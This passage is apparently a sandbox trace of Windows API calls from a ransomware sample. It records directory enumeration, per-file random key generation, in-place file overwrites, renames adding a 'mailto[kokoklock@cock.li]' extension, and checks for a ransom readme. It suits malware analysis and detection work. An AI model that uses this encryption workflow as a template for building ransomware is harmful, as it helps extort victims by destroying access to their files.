Size=0x20) returned 0x3057d28 [0170.697] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0170.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0170.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0170.697] WriteFile (in: hFile=0x6d8, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12c6f950, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x12c6f950*=0x4096, lpOverlapped=0x0) returned 1 [0170.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.698] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x129f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.698] WriteFile (in: hFile=0x6d8, lpBuffer=0x3057d28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12c6f988, lpOverlapped=0x0 | out: lpBuffer=0x3057d28*, lpNumberOfBytesWritten=0x12c6f988*=0x20, lpOverlapped=0x0) returned 1 [0170.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d28) returned 1 [0170.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.698] WriteFile (in: hFile=0x6d8, lpBuffer=0x3057d00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12c6f99c, lpOverlapped=0x0 | out: lpBuffer=0x3057d00*, lpNumberOfBytesWritten=0x12c6f99c*=0x8, lpOverlapped=0x0) returned 1 [0170.699] WriteFile (in: hFile=0x6d8, lpBuffer=0x12c6f9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12c6f99c, lpOverlapped=0x0 | out: lpBuffer=0x12c6f9b4*, lpNumberOfBytesWritten=0x12c6f99c*=0x4, lpOverlapped=0x0) returned 1 [0170.699] WriteFile (in: hFile=0x6d8, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12c6f99c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x12c6f99c*=0x4, lpOverlapped=0x0) returned 1 [0170.699] WriteFile (in: hFile=0x6d8, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12c6f99c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x12c6f99c*=0x6c, lpOverlapped=0x0) returned 1 [0170.699] WriteFile (in: hFile=0x6d8, lpBuffer=0x3057e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12c6f99c, lpOverlapped=0x0 | out: lpBuffer=0x3057e68*, lpNumberOfBytesWritten=0x12c6f99c*=0x20, lpOverlapped=0x0) returned 1 [0170.699] WriteFile (in: hFile=0x6d8, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12c6f99c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x12c6f99c*=0x4, lpOverlapped=0x0) returned 1 [0170.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0170.700] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058070) returned 1 [0170.700] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0170.700] CloseHandle (hObject=0x6d8) returned 1 [0170.700] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xdc) returned 0x2f98b48 [0170.700] wcscpy (in: _Dest=0x2f98b48, _Source="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731" [0170.700] wcscat (in: _Dest=0x2f98b48, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.700] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\o1d0ikutupyj.xlsx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\o1d0ikutupyj.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.418] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.418] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98b48) returned 1 [0174.418] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87a90 [0174.418] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0174.418] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0174.418] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0174.418] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0174.418] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedbb0) returned 1 [0174.418] RtlExitUserThread (Status=0x1) Thread: id = 1917 os_tid = 0xd68 [0170.701] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa4ba0 [0170.701] wcscpy (in: _Dest=0x2fa4ba0, _Source="C:\\Users\\FD1HVy\\Documents\\Outlook Files" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files" [0170.701] wcscat (in: _Dest=0x2fa4ba0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\" [0170.701] wcscat (in: _Dest=0x2fa4ba0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*" [0170.701] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020570 [0170.701] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\*", lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x8488cdc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30454a8 [0174.419] wcscmp (_String1=".", _String2=".") returned 0 [0174.419] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x8488cdc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.419] wcscmp (_String1="..", _String2=".") returned 1 [0174.419] wcscmp (_String1="..", _String2="..") returned 0 [0174.420] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8488cdc6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8488cdc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.420] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.420] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.420] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x42500, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="KKCIE@~1.D0E")) returned 1 [0174.420] wcscmp (_String1="kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.420] wcscmp (_String1="kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.420] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f9e670 [0174.420] wcscpy (in: _Dest=0x2f9e670, _Source="C:\\Users\\FD1HVy\\Documents\\Outlook Files" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files" [0174.420] wcscat (in: _Dest=0x2f9e670, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\" [0174.420] wcscat (in: _Dest=0x2f9e670, _Source="kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731" [0175.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9e670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0175.452] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x42500, dwReserved0=0x0, dwReserved1=0x0, cFileName="kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="KKCIE@~1.D0E")) returned 0 [0175.452] FindClose (in: hFindFile=0x30454a8 | out: hFindFile=0x30454a8) returned 1 [0175.452] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020570) returned 1 [0175.452] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4ba0) returned 1 [0175.452] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88b58) returned 1 [0175.452] RtlExitUserThread (Status=0x0) Thread: id = 1918 os_tid = 0xd50 [0170.702] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\pm6hcm.docx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.587] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\pm6hcm.docx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x840 [0174.587] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x12d6fd8c | out: lpFileSize=0x12d6fd8c*=17660) returned 1 [0174.587] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x44f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.587] ReadFile (in: hFile=0x840, lpBuffer=0x12d6fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12d6fd5c, lpOverlapped=0x0 | out: lpBuffer=0x12d6fd60*, lpNumberOfBytesRead=0x12d6fd5c*=0x4, lpOverlapped=0x0) returned 1 [0174.589] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30540c8 [0174.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0174.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30541b8 [0174.589] NtQuerySystemTime (in: CurrentTime=0x12d6fd38 | out: CurrentTime=0x12d6fd38*=132121213319046125) returned 0x0 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x43e735a2 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x712ffc0b [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x8ead2e38 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xf54e7494 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xb97c2aa1 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x9205680b [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x3d3e1b58 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xb400ea63 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xd6d351ae [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x91e2ebd5 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x6aa253cb [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xeb4a2ca0 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x97863891 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x5a2db98b [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x508cb467 [0174.589] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x446c12b0 [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xd230847b [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x3e31b008 [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xa169435d [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x17b44e44 [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x225114a1 [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x3a70868b [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x2bd8002e [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x36cf0c9c [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x3043c3 [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xdd0f38ba [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xd2f367b6 [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x2fd7e666 [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xc5cf2323 [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0xff427b37 [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x90e296fe [0174.590] RtlRandom (in: Seed=0x12d6fd44 | out: Seed=0x12d6fd44) returned 0x9dfc7644 [0174.602] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.602] ReadFile (in: hFile=0x840, lpBuffer=0x4ef0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12d6fd10, lpOverlapped=0x0 | out: lpBuffer=0x4ef0048*, lpNumberOfBytesRead=0x12d6fd10*=0x4096, lpOverlapped=0x0) returned 1 [0174.603] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0174.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013530 [0174.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0174.603] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054168) returned 1 [0174.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4ef40e8 [0174.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0174.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054280 [0174.603] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054280) returned 1 [0174.603] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.603] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.604] WriteFile (in: hFile=0x840, lpBuffer=0x4ef40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12d6fd10, lpOverlapped=0x0 | out: lpBuffer=0x4ef40e8*, lpNumberOfBytesWritten=0x12d6fd10*=0x4096, lpOverlapped=0x0) returned 1 [0174.604] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef40e8) returned 1 [0174.604] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x44fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.604] WriteFile (in: hFile=0x840, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12d6fd48, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x12d6fd48*=0x20, lpOverlapped=0x0) returned 1 [0174.604] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0174.604] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef0048) returned 1 [0174.604] WriteFile (in: hFile=0x840, lpBuffer=0x30542f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12d6fd5c, lpOverlapped=0x0 | out: lpBuffer=0x30542f8*, lpNumberOfBytesWritten=0x12d6fd5c*=0x8, lpOverlapped=0x0) returned 1 [0174.604] WriteFile (in: hFile=0x840, lpBuffer=0x12d6fd74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12d6fd5c, lpOverlapped=0x0 | out: lpBuffer=0x12d6fd74*, lpNumberOfBytesWritten=0x12d6fd5c*=0x4, lpOverlapped=0x0) returned 1 [0174.605] WriteFile (in: hFile=0x840, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12d6fd5c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x12d6fd5c*=0x4, lpOverlapped=0x0) returned 1 [0174.605] WriteFile (in: hFile=0x840, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12d6fd5c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x12d6fd5c*=0x6c, lpOverlapped=0x0) returned 1 [0174.605] WriteFile (in: hFile=0x840, lpBuffer=0x3054190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12d6fd5c, lpOverlapped=0x0 | out: lpBuffer=0x3054190*, lpNumberOfBytesWritten=0x12d6fd5c*=0x20, lpOverlapped=0x0) returned 1 [0174.605] WriteFile (in: hFile=0x840, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12d6fd5c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x12d6fd5c*=0x4, lpOverlapped=0x0) returned 1 [0174.605] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0174.605] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054118) returned 1 [0174.605] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542f8) returned 1 [0174.605] CloseHandle (hObject=0x840) returned 1 [0174.605] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff17a8 [0174.605] wcscpy (in: _Dest=0x2ff17a8, _Source="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731" [0174.605] wcscat (in: _Dest=0x2ff17a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.606] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\pm6hcm.docx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\pm6hcm.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.606] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.607] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff17a8) returned 1 [0174.607] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87a90 [0174.607] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0174.607] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0174.607] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0174.607] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0174.607] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4980) returned 1 [0174.607] RtlExitUserThread (Status=0x1) Thread: id = 1919 os_tid = 0xd60 [0170.703] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sqleej.pptx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.566] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sqleej.pptx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x840 [0174.567] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x12defe00 | out: lpFileSize=0x12defe00*=47503) returned 1 [0174.567] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0xb98b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.567] ReadFile (in: hFile=0x840, lpBuffer=0x12defdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12defdd0, lpOverlapped=0x0 | out: lpBuffer=0x12defdd4*, lpNumberOfBytesRead=0x12defdd0*=0x4, lpOverlapped=0x0) returned 1 [0174.568] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0174.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0174.568] NtQuerySystemTime (in: CurrentTime=0x12defdac | out: CurrentTime=0x12defdac*=132121213318889489) returned 0x0 [0174.568] RtlRandom (in: Seed=0x12defdb8 | out: Seed=0x12defdb8) returned 